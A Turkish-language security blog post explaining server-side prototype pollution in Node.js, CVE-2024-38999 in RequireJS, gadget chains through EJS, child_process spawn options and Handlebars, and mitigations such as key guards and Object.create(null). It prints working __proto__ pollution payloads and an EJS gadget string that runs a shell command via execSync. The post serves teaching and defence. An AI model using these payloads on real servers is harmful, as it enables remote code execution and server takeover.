Prototype Pollution'dan RCE'ye: Node.js Gadget Zincirleri
Wed May 27 2026 · 4 min read
Category: Security Research
Giriş: JavaScript Prototype Zinciri
JavaScript'te her nesne, [[Prototype]] adı verilen gizli bir bağlantıya sahiptir. Bu bağlantı, nesnenin özelliğe sahip olmadığı durumlarda aramanın nerede devam edeceğini belirler — bu mekanizma prototip kalıtımı olarak bilinir.
const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() → Object.prototype.toString'den gelir
Zincirin en tepesinde Object.prototype bulunur. Node.js sürecindeki her nesne bu prototipi kalıtır. Bu gerçek, kritik bir güvenlik sorusunu doğurur:
Object.prototype'a bir özellik eklersek ne olur?
Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true ← hiç tanımlamadık
Cevap: Süreçteki tüm nesneler bu özelliği anında kalıtır.
Prototype Pollution Nedir?
Prototype pollution, saldırganın kullanıcı kontrolündeki veriler aracılığıyla Object.prototype'ı değiştirebilmesi durumudur.
Bu genellikle güvensiz merge, clone, veya extend işlemleri aracılığıyla gerçekleşir:
Savunmasız deep merge:
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object") {
merge(target[key], source[key]); // recursive
} else {
target[key] = source[key]; // NO KEY GUARD
}
}
}
// Saldırgan payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Artık: Object.prototype.shell === "bash"
__proto__ anahtarı özel bir JavaScript semantiğine sahiptir: target.__proto__ aslında Object.prototype'ı döndürür. Bu yüzden target.__proto__.shell = "bash" ifadesi Object.prototype.shell = "bash" ile eşdeğerdir.
Alternatif kirletme yolları:
// constructor.prototype yoluyla
{"constructor": {"prototype": {"admin": true}}}
// URL parametresi yoluyla
?__proto__[shell]=bash
// JSON merge patch yoluyla
PATCH /config {"__proto__": {"debug": true}}
Server-Side Prototype Pollution (SSPP)
İstemci tarafı (browser) prototype pollution iyi bilinir. Ancak daha tehlikeli olan server-side varyantıdır: Node.js sürecindeki Object.prototype zehirlenir.
Neden daha tehlikeli?
- Tek bir istek tüm uygulamayı etkiler
- Belleğe yazılır, her sonraki nesne etkilenir
- Kütüphane gadget'ları RCE'ye kadar zincirlenebilir
CVE-2024-38999: RequireJS Prototype Pollution
RequireJS, Node.js ve browser ortamlarında yaygın olarak kullanılan bir modül yükleme kütüphanesidir.
Savunmasız işlev: require.config()
// RequireJS kaynak kodu (basitleştirilmiş)
req.config = function(config) {
// config nesnesi doğrulama YAPILMADAN
// mevcut cfg ile deep merge edilir
extend(cfg, config); // __proto__ key'i korunmuyor!
return req;
};
Kullanıcı kontrolündeki bir config nesnesi require.config()'e geçirilirse:
// Saldırgan tarafından kontrol edilen config
require.config({
"__proto__": {
"shell": "bash"
}
});
// Object.prototype.shell === "bash"
Gadget Zincirleri: Kirliliği RCE'ye Dönüştürmek
Prototype pollution tek başına zararsızdır. Tehlike, uygulamada gadget adı verilen kodun varlığında ortaya çıkar.
Gadget: Kirlenmiş özelliği okuyup tehlikeli biçimde kullanan mevcut kod parçası.
Gadget 1: EJS Template Engine (CVE-2022-29078 tarzı)
EJS (Embedded JavaScript Templates), render sırasında outputFunctionName seçeneğini okur ve bu değeri doğrudan kod olarak değerlendirir:
// EJS kaynak kodu (iç)
if (opts.outputFunctionName) {
prepended += ` var ${opts.outputFunctionName} = __output;\n`;
}
// → String.prototype'dan kalıtılmış değer eval olarak çalıştırılır
Saldırı:
// 1. Object.prototype kirlet
Object.prototype.outputFunctionName =
"x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";
// 2. EJS bir şablon render etmeye çalışsın (normal akış)
ejs.render("<%= name %>", { name: "alice" });
// → gadget tetiklenir → RCE
Gadget 2: child_process.spawn Options
// Uygulama kodu — masum görünür
const { spawn } = require("child_process");
function runConverter(file) {
// options nesnesi boş; değerler Object.prototype'tan kalıtılır
const proc = spawn("convert", [file], {});
return proc;
}
// Pollution ile:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn artık /bin/bash ile shell olarak çalışır
Gadget 3: Handlebars Template Engine
Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → RCE
Tam Saldırı Zinciri: CVE-2024-38999
HTTP İsteği → require.config(userInput)
↓ deep merge (key guard yok)
Object.prototype.shell = "bash"
↓ gadget aranıyor
ejs.render() veya spawn() tetiklenir
↓ kirlenmiş özellik okunur
/bin/bash çalıştırılır
↓
RCE — sunucu ele geçirildi
Önlem
1. Key guard ekleyin:
function safemerge(target, source) {
for (const key of Object.keys(source)) {
// __proto__ ve constructor'ı filtrele
if (key === "__proto__" || key === "constructor") continue;
if (typeof source[key] === "object") {
safemerge(target[key] ??= {}, source[key]);
} else {
target[key] = source[key];
}
}
}
2. Object.create(null) kullanın:
// Prototype'sız nesne oluştur
const config = Object.create(null);
// __proto__ kalıtımı yoktur — kirletme imkânsız
3. Object.prototype'ı dondurun:
Object.freeze(Object.prototype);
// Pollution girişimi sessizce başarısız olur (strict modda hata verir)
4. RequireJS güncelleme: 2.3.7+ sürümüne geçin.
5. Node.js bayrağı:
node --disable-proto=delete app.js
# __proto__ erişimini devre dışı bırakır
Sonuç
Prototype pollution, "düşük etki" gibi görünen bir giriş noktasından ("sadece bir nesne özelliği değişiyor") tam sunucu kompromisine uzanan zarif bir saldırı zinciri sunar. Tehlike, saldırganın uygulamadaki mevcut kodu gadget olarak kullanmasıdır — yeni kod çalıştırmasına gerek yoktur.
CVE-2024-38999, on yılı aşkın süredir yaygın biçimde kullanılan bir kütüphanenin bu saldırı sınıfına karşı savunmasız olduğunu ortaya koydu. Her merge, assign veya extend işlemi, __proto__ key'ine karşı koruma sağlayıp sağlamadığı sorgulanarak incelenmelidir.
CVE: CVE-2024-38999
Kütüphane: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Araştırma Temeli: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023
Sıkça Sorulan Sorular
Prototype pollution nedir?
Saldırgan kontrolündeki proto veya constructor.prototype gibi anahtarların Object.prototype'a özellik enjekte ederek Node.js sürecindeki her nesneyi etkilediği bir JavaScript zafiyetidir.
Prototype pollution nasıl RCE'ye dönüşür?
Aşağı akıştaki bir gadget'ın okuduğu özellikleri kirleterek — child_process spawn'a geçirilen seçenekler, require yolları veya template seçenekleri gibi — saldırgan kirletilmiş değeri komut ya da kod çalıştırmaya dönüştürür.
Bu bağlamda gadget chain nedir?
Gadget, kirletilmiş bir özelliği tehlikeli bir sink'te kullanan mevcut koddur; zincir (chain) ise kirletme noktasını o sink'e bağlar. Yazı, RequireJS'teki CVE-2024-38999 üzerinden bir örnek gösterir.
Prototype pollution nasıl önlenir?
Kullanıcı girdisinde proto, constructor ve prototype anahtarlarını reddedin, güvenilmeyen veri için Object.create(null) veya Map kullanın, Object.freeze(Object.prototype) uygulayın ve girdiyi katı şemalara göre doğrulayın.